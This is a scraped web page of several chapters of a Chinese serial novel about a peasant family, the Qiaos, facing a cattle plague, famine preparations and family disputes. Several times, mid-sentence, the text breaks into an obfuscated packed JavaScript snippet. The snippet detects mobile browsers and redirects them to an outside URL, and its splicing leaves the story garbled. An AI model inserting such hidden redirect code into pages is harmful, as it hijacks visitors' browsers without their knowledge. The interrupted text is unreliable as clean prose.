乔冉安听至此处，土黄色的脸不禁一沉，喃喃问道：“那村里人可不得跟着闹起来？倒凭什么隔壁家有药草治，自家里就不成……” “确是这般。眼看着大家伙都要打起来了，魏医官直闷着不出声，而官爷们自拔了弯刀吓唬村里人……没法，最后还是长田兄弟出面说自家的大黄牛染疫许久，情况当算得最重的，可一直拿药草吊着也不是个办法，便就不治了。” 傅娘子蹙了蹙眉，继续说道：“长田兄弟这么一说，村里人也不好再闹，只各家凄风斜佩，一时竟也不知该拜庙里的哪位菩萨才顶用了。” “长田兄弟竟真的开了这样的口？” 乔冉安一脸的不可置信，浑浊的眼底渐浮上一股忧惶的情绪，道：“他既当了里正，那这一湾子里的事不都是他说了算的？自家的牛怎能说不治就不治了？早知道会发生这样的事，今早宝树那孩子前来请我们过去时，你便应该跟着去的，怎么也能劝上一劝。” 乔冉安的上身稍往后栽去，僵滞的手指终于轻抖着松开了妻子的胳膊，怔喃道：“好歹这牛一直是两家人合着使的，长田兄弟竟不曾想着同咱家商量一下的？” “那可是一头牛啊！拆了这两间房屋也不见得能抵上……”乔冉安的心情渐跌进谷底，皱眉道：“难道长田他媳妇儿在旁边也不拦一下的？” “呵，没准就你在那里自作多情！”傅娘子斜瞅了眼乔冉安，颓怨地道：“人这刚当上里正，可不得先寻思着树立威信的？” “照我看，这大黄牛治与不治都没什么区别了。咱们去了又有什么用呢？这大黄牛又不是门前的那口石井，就生生地置在咱家院里头，咱们拿什么理由拦乔长田？” 傅娘子心中可憋忍了好大一口怨气，而乔冉安听妻子说完，神色更是郁郁了。 傅娘子自鼻中呼出一口气来，冷淡的眸光轻落在乔冉安身上，而她的语气并非指责，反是苦笑道：“或许咱家应当‘庆幸’……‘庆幸’咱家没有那个精力养牛，不然遇到牛疫这个关口，咱们定是过不去的。” 乔小遇在旁静静听着，心下亦是堵得慌…… “咱们应当‘庆幸’的也不仅这点……”傅娘子接着补充道：“你们是不知道，如今村里的猪牛已跟着病死了二十几头，而报上计数时，那余头竟是没了。官爷们一家家筛查过，才知有人私自宰杀藏肉。” 乔小遇十分惊讶，“我的天爷，竟有人这么大胆子？他们这样做，这疫病可不得传得更厉害吗？” 傅娘子嘘声轻叹，颔首道：“为了杜绝此事，官爷们说要把病死的牛畜拖进山林里埋了，又或者焚烧处理。魏医官也建议将尸肉焚烧，可村里人直说犯忌讳，更不愿脏污到自家山林……好在有官爷提说，索性咱们村也同拖罗河下游的几个村子一般，将尸肉拖去野山林里掩埋。” 至此，乔小遇和她爹终于听出了几分不对劲的意味来。 “难道官府的人负责掩埋，竟不用村里人出力的？”乔冉安的关切点在于此处，而乔小遇却疑问道：“难道官府是打算封禁野山林了？” 乔冉安听得女儿的疑虑，不禁口唇轻张，面上神色直转为无措…… 感受着父女三人那凝落在自己身上的视线，傅娘子颓颓点头，道：“确是如此。这于别家并没有什么大的妨碍，可对咱们……” 乔小遇摇头接言道：“或许咱家应该‘庆幸’，在官府封山之前，已将家里的米粮备足。” “这都是预料当中的事了，只没想到会这样快。”乔小遇紧绷的肩膀直接松塌下来，她轻摇了摇头，唏嘘叹道。 “好在咱们听了小遇的主意，硬撑着往那野山林里走了几遭。”乔冉安回想起之前进野山林猎兽时所经历的种种辛苦，忍不住苦笑出声。 然乔冉安心头的情绪却是彻底松释的，因为在这之后，傅娘子便再没有理由硬拉着他进山去了。 傅娘子低叹了声，微涩的嗓音里透出几分疲惫感来，接着道：“话说回来，今早咱们没有去乔长田家实是明智……” “里正娘子可打的好主意哩！我且听小遇她二婶子说，便因为咱家避开了牛疫这场祸事，里正娘子认为咱家得防了旁人红眼杂说，人防牛疫咱家需得跟着出力……且不仅是砍柴熬药的小事，村里人除粪也要咱家去帮忙。” “这同咱家有什么直接关系吗？长田兄弟家怎么这么会摊派差事？”乔冉安无奈地道：“上次宝树他娘不是给咱家送鸡蛋了么，我以为两家和好如初……” “什么和好如初，惯是花花肠子弯绕多。”傅娘子轻啐了口，冷脸道：“是了，官爷们不愿尽心，之后去县里背草药以及掩埋病腐尸肉的事怕也是会落在村里人身上，这可教乔里正心里着急了……左右这事摊派了，咱家又领得一份。” 乔冉安愣愣道：“我竟不知还有牛不喝水强按头的道理？长田兄弟家可真是会为咱家考虑！” “其实菜粉婶子说的也有几分道理，只她最主要考虑着的是自家的处境罢了，爹娘何必生气。”乔小遇淡声道：“这眼看着就要收玉米了，咱家里还要砌墙挖窖，村里治疫的事只道能帮就帮，断没有旁人按头强压的道理。” 确如乔小遇所顾虑的那般，她家里本就人手不足，遇事总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924387|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比别家要多折腾上几个来回。 她伤了腿，只能在家里休养，而卖野货与运粮的事便压到了爹娘身上。 运粮且还好说，路程相对近些，但卖野货是去往县上的，自然少不了一番辛苦。 通平县上还算是民生安乐，并不似别的州县一般纷乱，可乔冉安夫妻俩却是一点都不敢大意…… 因不愿降价，乔冉安夫妻俩在街上叫卖一天，也未能将野货卖完，然他们终究舍不得花那住店钱，竟将板车拖到了某户富贵人家的大门旁歇夜。 事后，自通平县里安然回来的傅娘子与乔小遇这般吹笑道：“那富户家门口守了四五个家丁，个个身高力壮，总没有哪个不长眼的跑去闹事吧。再说哩，我与你爹也没堵在正门口处与人妨碍不是？” “敢情你们是把那些家丁当是自家的使了……” 乔小遇听来心有余悸，摇头叹道：“好在人家睁一只眼闭一只眼，若真遇着什么突发之事，家丁只管守好主人家的院子，哪还顾得了你们？” 傅娘子浑不在意地摆了摆手，且瞥得女儿渐沉下来的眸色，忙又打哈哈道：“是了是了，以后我和你爹断不会省这百十文的住店钱就是了……” “呐，这是给你带的药酒，治伤用的。”傅娘子从怀里拿出一个小瓷瓶来，递给乔小遇道：“我与你爹这一去就是四天，不知有没有耽搁到你的腿伤……” 乔小遇接过瓷瓶，感受着手上传来的冰凉触感，病白色的面庞上却不由得泛起一抹莹亮的泽色来…… 她不自然地扯了扯嘴角。 “娘，您这药酒带得忒迟，若一直等您，姐姐的伤怎么好得了？”乔小佩从她姐身后探出小脑袋来，“啧”声叹道：“还是两个哥哥想得周到……” “两个哥哥？”傅娘子不禁狐疑着眼朝女儿的方向看来。 乔小遇心下一阵尴尬，粗糙的掌心轻覆在妹妹脑门上，径将小糯米团子微探出来的上身按回背后去…… “高扬与乔宝树来过，而没呆多久便走了。” 乔小遇淡淡一笑，只迎上她娘微微发亮的双眸里所透出的探究意味，终抿唇轻补充了句：“他们给我带了药酒来，我这几日一直用着，渐也觉着好了些。” “您瞧，我这已差不多能试着下地了呢。”乔小遇微笑着道，一边将木杖挪到另一只手上…… 傅娘子见状连忙制止女儿试图着地的动作，招手笑道：“别别别，你且缓几天再说。那药酒有用就好……” 且看着女儿面上那抹欢喜的笑容，傅娘子直觉着这连日来所憋忍的疲乏感竟莫名地消散了大半。 她心头多了几分安然，本想再多问几句关于乔宝树前来送药酒的情形，可念及乔长田夫妻俩的作为，傅娘子终忍了未提，而将话题转到米粮、还账等事上。 乔小遇笑盈盈地听着，且瞧得一家人各自拢了一把铜钱在手中来回细数的情景，她的眸光愈显得清亮柔和…… 59. 陆桓的伤 乔小遇心知她娘看乔宝树可算得是越来越顺眼了，即便今日暂压下与自己说道乔宝树好话的冲动，改日也会寻了时机笑说打趣。至于高扬，傅娘子却没有细究时机的必要，只看着她的腿伤妨碍渐少，忍不住夸赞高扬几句罢了，而心思并不会转到旁的事上。 但乔小遇没有告诉她娘的是，高扬原是受了陆桓的托付才送药来的，且高扬来时与乔宝树正巧撞上了——便在乔冉安夫妻俩出门的那天傍晚。 各不相识的两个少年，都朝乔小遇投来疑惑的目光——这是谁？ 乔小佩倒是热情得很，皴红的小脸上扬起一抹可爱的笑容，居中为两人介绍…… 只她的介绍仅不过“这是宝树哥哥”与“这是高扬哥哥”等两句简洁的话而已。 比起高扬的“气定神闲”，乔宝树的神情无疑是忐忑的，而令他心颓的是，乔小遇似乎并不觉得她小妹的话有什么需要补充的地方，竟轻笑着点了点头。 乔宝树心下旋不由得生出几分疑虑来，而翌日里还私下拉了乔小佩，试探着问过高扬的来历…… 结果？小糯米团子自己也是个“稀里糊涂”的，除了高扬有匹小黄马、人很有趣以外，别的竟一问三不知。 且翻回前篇。 高扬等得乔宝树离开后，才斜眼悠悠地问了乔小遇一句，“青梅竹马？” 闻言，乔小遇没好气地长呼出了口气，抬手扶额……她当知高扬此人没个正形的。 “我瞧着他一副紧张兮兮的模样，却又忍不住与我说些客套话……诶，你都不知我忍笑有多辛苦。”高扬轻笑着摇了摇头，眼睛渐弯作一双月牙。 他重新变回那一副跳脱模样，不住地与乔小遇打听起乔宝树的事来。 “你好端端地打听乔宝树作甚？”乔小遇轻蹙着眉，并不打算多说。 “不过随意问问。”高扬干咳了声，然面上和煦笑意未减半分。他从怀里掏出两张肉馅饼来递与乔小佩，倒哄得糯米团子就地滚走，径撒腿跑出去玩耍了。 “青梅竹马便青梅竹马吧，便也算扯平了？”高扬想及陆桓与盛家那些紧牵扯作一处，却已然说道不清的过往，不禁摇头咋舌，暗道。 乔小遇只当这个话题已就此揭过，转而问及他与陆桓归家后的情形。 “你是奇怪桓弟怎么没有来吧？”高扬眸底一片清宁笑意，话音却不由得微沉，仿佛一只在佩中疾飞的燕雀般，负重的尾翼在湖面上漾出一圈细波，却又很快被空中降落的佩点给打散了去。 “他生病了。”高扬几不可见地皱了皱眉，低声解释道。 余光瞥得乔小遇那略显凝顿的神情，高扬犹疑半瞬，却还是将陆桓“生病”的内情给瞒了下来…… 说来，他与陆桓归家那日的情形实算是自作聪明。 两人夜里急驰，一身衣裳早已脏污得不成样子，尤其陆桓……为免得回家时被陆母瞧见，高扬便伙了陆桓一道，径绕去高家村里歇息一夜，让陆桓隔日里再行归家。 只谁能料想得到，陆母满心等着陆桓拜见庄先生的结果，因久不见儿子回来，她食不下咽，竟使人抬了软轿，径到了高扬家里等消息。 她这般自免不了叨扰高家，只高扬父母不好得道明内情的同时，心间亦是惴惴不安。 尤其当盛氏亲见得高扬父亲竟滞留家中，不曾与两个孩子同行的情形时，高扬母亲纠结几番，却只得扯了个谎，为孩子们圆话道：“盛大娘子不必多心，这回让扬哥带着桓哥去拜见庄先生，本就是我的主意。” “你也知道，我夫君一介莽夫，不通文墨亦不擅言辞，但扬哥不同……庄先生曾言扬哥算得小友，两人交谈甚是投契，这拜见之事由扬哥牵线，总比他这不靠谱的爹强。再说了，此番也仅是先作拜见，庄先生总要细细相过才学，才确定要不要将人收为弟子的。这一来一回，总要耽搁些工夫的不是？” 高扬母亲一边与盛氏斟茶，一边笑着安抚道：“且桓哥那般聪颖，庄先生见到一定喜欢……盛大娘子尽管安心静等便是。” 难为高扬母亲这一番好说歹说，才渐将陆桓母亲心头的疑虑给打消了去…… 而陆桓母亲却还是在高扬家里住了下来——尽管这整夜里，她因一只棉絮已然打结生硬的枕头搞得头疼失眠。 时机便这般好巧不巧——盛氏果然在高扬家里等到了儿子。 但她心里无疑是极度的失望…… 且瞥了眼陆桓二人那一身的泥痕与凝沉下来的血迹，盛氏怎会猜不着他们究竟去了何处？ 高扬直觉得头皮一阵发麻，暗嚎说若此事一个处理不好，盛氏保不准是真能教陆桓与他断交的…… 但出乎高扬意料的是，盛氏并没有当场发作，只立即使了身边的婆子叫醒带来的下人，一行人匆匆忙忙地离了高家村……在这整个过程中，陆桓始终隐忍默然。 而等高扬第二天去看望陆桓时，陆桓已然躺在床上不得下地，人后背上血糊一片，早没了一处完好的地方。 高扬记得自己当时惊愕得说不出一句完整的话来，可陆桓却对他轻笑了笑。 “我以为你担心我母亲为难你，却是不敢到陆苑里来了。”陆桓将埋在枕下的脸稍稍抬起，便因此牵动伤口，他却连眉毛都不曾拧动下…… 高扬听着陆桓那沉凝的嗓音，心下觉着十分歉疚，低眉道：“这件事都怪我，你说我好端端地拉着你去野山林里做什么？若一早就依着你母亲的心思……” 高扬抿唇轻顿住了话音。 “怎么，见我被打，你这立场竟是说变就变的？”陆桓失笑，“你莫想着是我帮你顶了雷，就算咱们此番不是去野山林里行猎，却怎么也不会去白麓书院的。” “你还在与你母亲犟着？”高扬脸色微微一滞，定眼朝陆桓看去…… 陆桓透白色的脸上不住地渗出层层汗液，失了血色的嘴唇轻扯出一丝苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924388|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑，“高扬，你知道的，我这哪里是存意与我母亲犟？” 高扬闻言不禁沉默下来。 陆桓的家事他是清楚的。也是，有着那样一个声名遍传的父亲，陆母对桓弟的要求怎会放低了去？ 便求着光耀门楣，又或是令临安城里的贵人收回对陆桓父亲泣血而亡的唏嘘目光，盛氏所施加在陆桓身上的压力只会愈发繁重。 高扬缓步走至榻边，拿过那块耽放在铜盆上的毛巾递与陆桓，并道：“可你这般，会让你母亲觉着你无心考学。” “我确实还没有下定决心啊。”陆桓眸光微沉，就着毛巾擦过脸上汗液后，却是轻笑道：“自我父亲去世后，我母亲便似入了魔怔一般，将我逼得更紧了。那样的寄念与心冀，直将我置到了家父的阴影之下。若我是个不学无术的，也不曾受到父亲亲自教导……” 陆桓从鼻腔里发出一道哼笑声，心下却又觉着这样的假设实在无益，停了话音。 “其实去了白麓书院也好，离了陆苑，也省得你母亲紧盯着你。”高扬耸了耸肩，挑眉笑道：“而且我也有了个伴不是？” 陆桓无奈叹笑，心下对高扬这不拘束缚的性子可算是羡慕得紧了……他径将手里的湿毛巾往高扬身上扔去，笑骂道：“滚！” “我母亲要是知道你是这么劝我去白麓书院的，回头可不得找你算账！”陆桓斜瞥了眼高扬衣襟处所留下的那团明显的水痕，嘴角扬起一抹戏谑笑容。 “嘶……” 仓措接下毛巾的高扬，没想陆桓这一动劲便牵扯到了受伤的肩背，他微滞的瞪眼转而染上一股促狭之色，“啧啧”叹道：“呵，都这当口了，你还有心思细究这些？” “我要是没有应下你母亲的嘱托，你觉着她肯让我见你？”高扬努了努嘴，凑身近看了眼陆桓的伤势，却是敛了面上笑意，疑问道：“我说你这伤背竟都不涂些药的？” “伤药被我母亲让人拿走了。”陆桓以一种极为平淡的嗓音说道。 且瞧得高扬的眉毛愈皱愈紧，陆桓淡声一笑，探手将床头的一空小木格子打开来，拿了一个玉瓷瓶递给高扬。 高扬白眼一翻，却还是笑眯眯地将瓷瓶接过，朝陆桓竖了个大拇指，道：“可真有你的！我就说你不会傻到自虐……” “这是给乔小遇的。还得麻烦你往乔家村里走一趟，帮我带给她。” 高扬面色倏然凝住，忙又拉开余下的几个小木格子，问道：“那你的伤药呢？” “都让人收走了。”陆桓的眸底掩映着一股复杂的情绪，缓声说道：“小遇这瓶是我让书童私自藏的，便一直等着你来……至于我的伤，你不必担心，回去后也不要同师父师母多提。我母亲不至于狠到那份上，便等她心软了，我才有同她‘谈判’的机会。” “有的事，我心下是否情愿仅在其次，我只担心我母亲在局面未清时便已下定心思，毫不顾忌我会步上我父亲的后尘。” 60. 田野金黄 斜目瞥过乔小遇手中那只泛着莹润光色的小瓷瓶，高扬不禁回念起陆桓话音里的那丝艰涩感来…… 渐的，连他自己也觉着心头一阵苦闷。 “桓弟显然不曾意识到他在这小丫头身上花了多少心思，然横亘在两人之间最大的妨碍却还是陆母。”高扬心下暗暗想着，然他就不是一个惯常去堆积情绪的人…… 挑了挑眉，高扬转而轻掀了下唇角，眸底轻泛起一抹明亮的笑意来，“倒看桓弟日后怎么办好这事儿……” “对了，你们村里那乔大闯的事，已经传到陆苑去了。”高扬眯笑着眼，接着说道：“陆桓让我告诉你一声的是，你们村里的新里正竟寻了由头，与县里的差役一同去了陆苑。” “去了陆苑？”乔小遇收回几分神来，既讶于陆家村取了这样一个别致的名，也奇怪乔长田去陆家村的缘由，不禁疑问出声。 但她很快便反应过来，乔长田这般原是想在陆家人跟前露露脸罢……而其目的，便是为了接替过乔大闯帮陆家看护山林的差事。 “长田叔也是心思活络……” 乔小遇轻笑着摇了摇头，道：“他已当上里正，看护山林的差事若再由他家担着，难保惹眼了，村里人不会说闲话。可这种事谁说得清楚呢？” “之前何家人担里正之职，乔大闯负责看护山林，两相分隔了，却还是免不了沆瀣一气。若长田叔秉持公正，即便自家里得几分益处，那也是情理当中的事。” 乔小遇轻轻抿唇，接着道：“而且陆家人应当能考虑到，若入冬后朝州府中的饥荒大肆蔓延开来，四窜的流民且不提说，拖罗河这上下游的贫户怕也会偷偷摸摸地溜进陆家山林里为非作歹。” “野物被猎并不算什么，而若是如紫檀等一些珍贵的木材被人偷伐，甚至说族里的坟场引来盗墓贼，那可就不好说了……可见这关口上，由长田叔接过这差事，当是合适不过了，而他也会更尽心。” 高扬闻言连连点头，而眸底不禁浮起一抹激赏之色，笑道：“你心思也很活络……” “倒难怪桓弟对你上心了。”高扬在心里补充了那么一句，接着展眉说道：“但乔长田这事，总要防着些的。日子久了，难保人心不变……” 乔小遇若有所思地点了点头，叹声道：“经了乔大闯这事，陆家人定会多几分考量……毕竟陆家人的坟山就在这湾子里头。” …… 浅碧色的河水挟着人梦中的米面香味，从金黄色的田野间穿流而过。 又到了一年里最为繁忙的秋收时节，可湾子里的村民们却毫无喜色，便是自家玉米长势喜人的丁小娘子也一脸愁容。 她家男人蹲了大牢，看护陆家山林的差事也丢了去，一家老小便都指望着那片荒地的收成，以求安然过冬。那片荒地的归属虽到现在也没什么明确的说法，但丁小娘子该赔的都赔给了村里，乔长田也与各家知会过，荒地里所植农物还是他乔大闯家的。 然而村里有人心下不平，趁夜去将乔大闯家这片荒地里的玉米给掰了许多……丁小娘子为此亲自去找乔长田做主，可难寻线索，偷盗之事只能不了了之。 到底没一家有安生日子过了…… 稻子瘪壳、玉米霉苞甚多，乔小遇随爹娘去地里做活时，总能听到村民们坐在地埂上长吁短叹、互倒苦水。 在这般沉闷的氛围里，唯一能算得是个好消息的便是陆氏山林允许外人进入了——这使农户们似乎看到了几分希望，纷纷进山猎兽、伐松扯草。 但与偷掰乔大闯家玉米的境况不同，湾子里的人在进山期间显得十分规矩。一些划定了不得进入的木林区，以及陆氏坟场，并未有人踏足。 当然，这主要还是因着乔长田家尽心看护的关系。 乔冉安夫妻俩一边忙着给家里的石墙和地窖糊泥灰，而那些暂存在胡屠夫家的米粮也被他们稀稀拉拉地运了回来，只暂时放到了楼上的木柜里，等回头地窖修好了，便才同兽肉毛皮等物归置完全。 再不必担心家里冬春时米粮会跟不上，乔小遇的心神不由得松缓了许多。便带着妹妹进陆家山林里时，她们也不是非得逮到几只野兔才成的，更多时，那篮子里装的都是松果…… 乔小遇是抵不过妹妹的央求才带她进山的，是以在最初时，乔小遇便与小妹约定说不论如何小妹那背篓也不能让人帮提。 乔小佩一口应下。等真进山后，乔小遇摘了半篓野果与她背着，她竟也不曾叫说句苦，只步子跟不上时，会唤姐姐歇下等她一等。 看着小妹累得满脸通红，乔小遇索性坐到一片松荫下歇息，悠哉哉地等着妹妹过来。 “你下次还同我进山来么？”乔小遇口中衔着一根草杆，等人走近了，促狭问道。 乔小佩握拳点头，却还是没忍住嘴角轻瘪，“也是这野梨果子沉了些……” 乔小遇闻言直笑得前仰后合，旋坐起身来，往妹妹篮子里拿了几个梨子，笑道：“那咱们先啃几个，给你减减重。” “这陆家山林里的野果子树这样多，味道还不酸涩，也不知当初乔大闯家守着时，从中昧了多少。”乔小佩拿镰刀重新削过一个梨，一边闷声说。 “人又不是吃的乔家村人的果子。除了那片荒地，他家并不算有什么实质性的错处。”乔小遇瞥了一眼妹妹那略显怪异的神情，皱眉轻叹道：“我算是知道为什么乔丫丫家的玉米被人偷掰，偏还半点痕迹也寻不到了。” 因为湾子里有不少人存了与妹妹一般的想法——谁能确定这偷掰人玉米的仅就一户农家？ 乔小遇倒无意去训责妹妹什么，可乔小佩的脸色却是一阵尴尬，慌里慌张地将头垂了下去。 乔小佩庆幸她姐没有再继续这个话题，只想来那扒在对面松树上掏鸟窝的乔荣应当是什么都听到了…… “也就你这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924389|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想了。” 乔小遇循着这道低笑声看去，且瞧得乔荣自松枝间探出的半身，啃食梨子的动作不由得顿住。 “你什么时候发现有人在的？”乔小遇偏头朝妹妹低声一问，面上则作出一副若无其事的模样，继续啃了两口梨子。 “就在刚刚……” 乔小遇耳听得妹妹这句低沉的应话，额头不禁有些发紧，“便不该在人身后说事的，当初只道隔坟有耳，如今可真是风水轮流转。” 姐妹俩终究有些心虚，见乔荣下树朝她们走过来，竟觉着干笑着打个招呼也是一件为难人的事了…… 好在乔荣先开了口，“你们进山来，便只为着捡些松果烧火的？” 乔荣皱了皱眉，视线偏转至乔小佩圈手紧护住的那只装了梨子的背篓上，嗓音不自觉地拔高了些，“藏什么藏？你这梨子皮厚肉少，我还嫌弃不要哩。” 乔小佩闻声苦巴地瘪了瘪嘴，跟着松开手臂，以为人当真瞧不上她的东西，可没想乔荣眼疾手快地从她背篓里抢了个梨子出来，叼进口中…… “嗷呜，你个骗子！”乔小佩被人逗急，指着乔荣的脸便哭出了声来。 “不过一个梨子，你就当给他了。”乔小遇试着安慰说，可没想小糯米团子的眼泪说流便流，哭音忽然拔高，直刺得人脑仁疼…… 乔荣显然也有些措手不及，只迎上乔小遇那双带了不满之色的眼眸后，人却笑眯眯地道：“你们要是不嫌远，往东南边翻过两个山头，就能扯到更好的果子，还有山楂哩。” 他这话音方落，乔小佩竟突然停住了哭声，径将背篓里的梨子全都拾了塞往乔荣怀里。 “够了够了……”看着臂弯里摆放不下的梨子接二连三地掉在草地上，乔荣的脸终于黑了下来。 乔小佩倒是“变脸”极快，这会儿朝她姐眨巴着眼，撒娇说去扯山楂，竟全然不曾意识到自个儿脸上还挂着豆大的泪珠…… “你竟还走得动路的？”乔小遇见小糯米团子果然俯身锤了锤小腿，嘴角笑意直溢，接着柔声劝道：“咱们改天再来好不好？” 乔小佩闻言，骨碌碌地转了转眼，思凝片刻却才叹呼出口气，仿似下了一个多么重大的决定般，恹恹地对她姐点了点头。 “你小妹这……”乔荣见状咋了咋舌，可到底不敢得罪这小祖宗了，只跟着转过话题，“这山里的野物已不似之前那般好抓了，你们姊妹几个倒可去摘些野果子卖钱。” 闻言，乔小遇一时竟不知该如何反应，只诧异地朝乔荣看去。 “村里人都晓得你家里的情况，你不用跟我客气。” 乔荣轻挠了挠后脑勺，跟着说道：“左右那些果子再挂在枝头几天便要掉地了，我妹妹也没法全摘完……你们能多攒些铜板也是好的。” “这人怎么突然转了性？”乔小遇这般暗想着，口中又问：“你说的那地方，难道没有旁人知道？” 61. 袖手旁观 乔荣有些尴尬地搓了搓手指，话音嗫嚅地说：“这山林我家管了十多年，哪里有个兔子窝我都一清二楚。至于果子颇多的那处山头，原是我与妹妹巡山时偶然发现的，因有刺花藤隔着，难得钻身过去，村里应当还没有人发现。” “那你还告诉我们？”乔小佩惊疑出声，偏脸朝她姐看来，微睁的眼睛里分明写着这么一句话，“他脑子没坏吧？” 乔小遇瞪了一眼妹妹，视线旋转至乔荣身上，抿唇道：“那便谢谢你了。” 见人接受了自己的善意，乔荣眉间的那股紧凝的局促感终得了松释。 他咧嘴乔小遇姊妹俩笑了笑，往布兜里掏出了几个雀蛋放到乔小佩手里，有些不好意思地补充了句“这事你们别告诉旁人”的话后，旋才折身离开。 “这般也算得感念善意么？”乔小遇抿唇暗想，看着乔荣的背影一阵摇头。 她姐妹俩又往松林间转溜了片刻，将松果拾满背篓后，方才离开此间，而乔小遇终没抵住妹妹的的央求，帮小糯米团子提了好一段路的背篓…… “姐姐，这话说回来，关于那边山头有果子的事，咱们便当真装作不知道么？”乔小佩纠结再三，终凝眉问道。 乔小遇轻“嗯”了声，“不然怎样？饥荒当前，各有各的营生，咱家不也为了免人觊觎，私下里猎兽存粮，不是么？” 乔小佩的眸光跟着沉凝下来，假设性地问道：“姐姐，届时若邻里有人家穷得揭不开锅，苦巴着眼求到咱家门上来，你说咱家这粮是借还是不借？” 乔小遇脚步渐缓，清澈的眼眸里仿佛有一湾河水静静流淌着，显得那般温和…… 她轻转过脸，柔和地问：“那你打算怎么办？” “总不好眼睁睁地看着人挨饿等死吧……” 乔小佩微微启口，“只咱家的米粮多帮几家人还行，这整村的人却过于为难。所以这关系也应分个亲疏，平日里对咱家多有照拂的，自不好袖手旁观。可咱家那几个亲叔伯，还有爷爷奶奶，我担心娘心里过不去那个槛儿……” 乔小遇静听完妹妹这话，心头不禁觉着十分宽慰。且不论家里人在帮不帮的事上如何为难，妹妹能想到这一层，便已算得不错。 她把背篓停到路边歇息，接着道：“若有余力，咱们自应帮人，但值不值得帮，也需要衡量一番。” “几个叔伯家那边你不用担心，娘心里那槛儿虽不好过，却也不见得就那般难。我只担心临到那情境下时会发生什么意外，而不仅是糊饱肚子那么简单。” 话至半处，乔小遇的声音已不自觉地带了几分沉抑感，而口唇里的津|液似都被凉|燥的秋风给吹挟进了路边的荞麦地里。 乔小佩沿着她姐的目光看去，且瞧得这荞麦杆端处缀着的粉白小花，似繁星般迷了人眼……而人便这般恍惚着、满心期冀着，当蜜蜂的嗡叫声传入耳中，无端地又添了丝焦躁与忐忑。 只怕等秋雨渐透，如画般的斑斓景色渐被浸湿，这些藏抹于人心上的复杂情绪便都会被染作一团，成为湿沉沉的墨色。 乔小佩的呼吸渐渐凝重，而对于她姐口中的“意外”，乔小佩是隐隐约约地感受到了。 回到家后，乔小佩那两只从乔荣处得来的雀蛋终究落了个被放在茶壶里煮熟的命运…… 小糯米团子原本异想天开，以为过几日这雀蛋就会孵化，说什么也不让她姐碰的，等见着雀蛋进茶壶里了，不禁哭哼了几句，而她也因此难得的被傅娘子给收拾了一通！ 这事原本不会闹到这份上，只正巧当时乔冉安夫妻俩从乔大娘家那边回来…… 夫妻俩直沉着脸，一言不发，而乔小佩偏还凑上前去，让乔冉安给她做主……便这般无端地，乔小佩直接被傅娘子拧着耳朵提进门，可疼得她一阵哇哇大叫。 傅娘子口中骂说小女儿净惹家中不宁，情绪十分不耐，这让乔小佩觉着既委屈又愧疚……乔小遇且瞧得她爹默然以应，只得先将妹妹带离此间。 “爹，这究竟发生什么事了？你们这趟过去，怎一回来就拿了妹妹……” 乔小遇到底没有把“撒火”两字说出口，只担心她娘因这话音刺到，又顾自挤进弯巷窄墙，在缝隙里挣扎…… 乔冉安深深地看了女儿一眼，似也存了与她同样的顾虑，半晌才犹豫着瞥朝傅娘子的方向，叹道：“原是你爷爷奶奶自说他们年纪已大，便连河边的那一小块菜地也再使不上力耕种了，所以想着与各家重新商量下赡养的事。” “赡养？” 乔小遇沉下眉来，疑问道：“爷爷奶奶的身子还算康健，怎会突然提说赡养的事？再说关于赡养之责，咱与几个叔伯家在前些年时不就已经请何照熊断了个分明么，为何又要重新商量？” “这……”乔冉安的舌尖仿佛沾了道苦咸之味，直令他苦巴了脸，只他方欲开口解释，这话头便被傅娘子给抢了去！ 傅娘子还不曾静下心来，是以并未急着反思自己拿了小女儿撒火的举动有什么错处，只张口骂道：“他们能为什么？便是你几个叔伯家年里收成不好，又想往咱家里吸血就是了！” 乔冉安听言无奈，只讪讪地吞咽了下口水，旋将四肢缩折回来，蜷作一处…… 他这模样，倒与那躲在墙角旮旯地里的米汤虫无异，但将上头遮光的碎石瓦块拿开，米汤虫立时便将腿脚缩回自己的紫黑外壳里。 “教人生气的是你爹这木头脑袋，便听你爷爷奶奶叫几句苦，口中竟不曾出声辩驳半句，反让我里外不是人！” 乔冉安听着傅娘子嗓音里的哭腔，不禁皱了皱眉，喃声道：“我能怎么办？那可是我亲生父母啊，难道让我放着他们不管不顾？几个哥弟家的日子都不好过，二嫂还道她原想送代善去镇上的学堂里识些字，可遇着灾年，束脩都凑不齐了……” 乔冉安似才意识到自己说了些刺痛傅娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 